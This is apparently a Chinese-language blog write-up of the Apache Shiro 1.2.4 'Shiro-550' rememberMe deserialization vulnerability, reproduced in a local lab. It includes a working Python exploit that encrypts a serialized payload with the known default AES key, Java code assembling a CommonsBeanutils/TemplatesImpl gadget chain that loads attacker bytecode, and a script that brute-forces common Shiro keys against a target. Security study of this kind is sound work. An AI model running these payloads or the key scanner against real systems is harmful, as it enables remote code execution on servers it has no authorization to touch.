Java反序列化之Shrio550反序列化漏洞
环境配置
shiro 1.2.4
jdk8u71
tomcat 8.5.79
漏洞分析
我们在登录的时候如果勾选了RememberMe
这个选项,就会多一个rememberMe
的Cookie
那么这个cookie里面的信息有什么意义呢?
我们先找到处理rememberMe
的类,找到处理cookie的相关函数
可以发现这个方法里将一个序列化后的数据base64
编码后放到了cookie里面
接下来是找什么方法调用rememberSerializedIdentity
继续跟进convertPrincipalsToBytes
发现是序列化一些东西后进行了加密
我们继续看看加密函数
我们再看看这里的key是哪里来的
最后找到了密钥
接下来还有个问题,就是AES加解密时的iv是多少?
我们来跟进一下
可以看到,就是把密文的前16位copy给iv,然后把后面的部分解密了
EXP和一些报错的处理
exp
import requests
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
url = "http://localhost:9001/shiro550_war/login.jsp"
key = b64decode("kPH+bIxk5D2deZiIxcaaaA==")
payload = b""
with open("ser.bin", "rb") as f:
payload = f.read()
iv = b"1" * 16
payload = pad(payload, 16)
payload = b64encode(iv + AES.new(key, AES.MODE_CBC, iv).encrypt(payload))
print(payload)
payload = str(payload, encoding="utf-8")
print(payload)
requests.post(url, cookies={"rememberMe": payload})
CC6
打CC6的时候发现报错了
进入到报错的类,发现重写了 resolveClass()
方法, 用的是ClassUtils.forname
最后可以发现产生异常的是org.apache.commons.collections.Transformer
也就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
可以考虑将CC6的后半部分改为TemplateImpl
动态加载字节码,也就是CC11
CommonBeanUtils
这条链子是Shiro内部的原生链,直接用payload打会报错
一个是因为版本的问题:shiro自带的CommonBeanUtils
是1.8.3版本
还有一个是因为普通的链子也有CommonCollections
依赖
不过它还有一个构造方法
我们只要找一个可以序列化的comparator
就行了
修改后的代码:
public static void main(String argc[])throws Exception{
Field field;
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("calc.class"));
field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "P3ngu1nW");
field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{evil});
field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
PriorityQueue priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(1);
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, beanComparator);
field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{templates, templates});
serialize(priorityQueue);
unserialize("ser.bin");
}
漏洞探测
指纹识别
在利用 shiro 漏洞时需要判断应用是否用到了 shiro。在请求包的 Cookie 中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用 Shiro 框架,可以进一步测试。
AES密钥判断
前面说到 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。
shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
这里给出大佬 Veraxy 的脚本:
import base64
import uuid
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)
参考资料
https://drun1baby.top/2022/07/10/Java反序列化Shiro篇01-Shiro550流程分析/#0x05-漏洞探测
https://johnfrod.top/安全/shiro反序列化漏洞分析/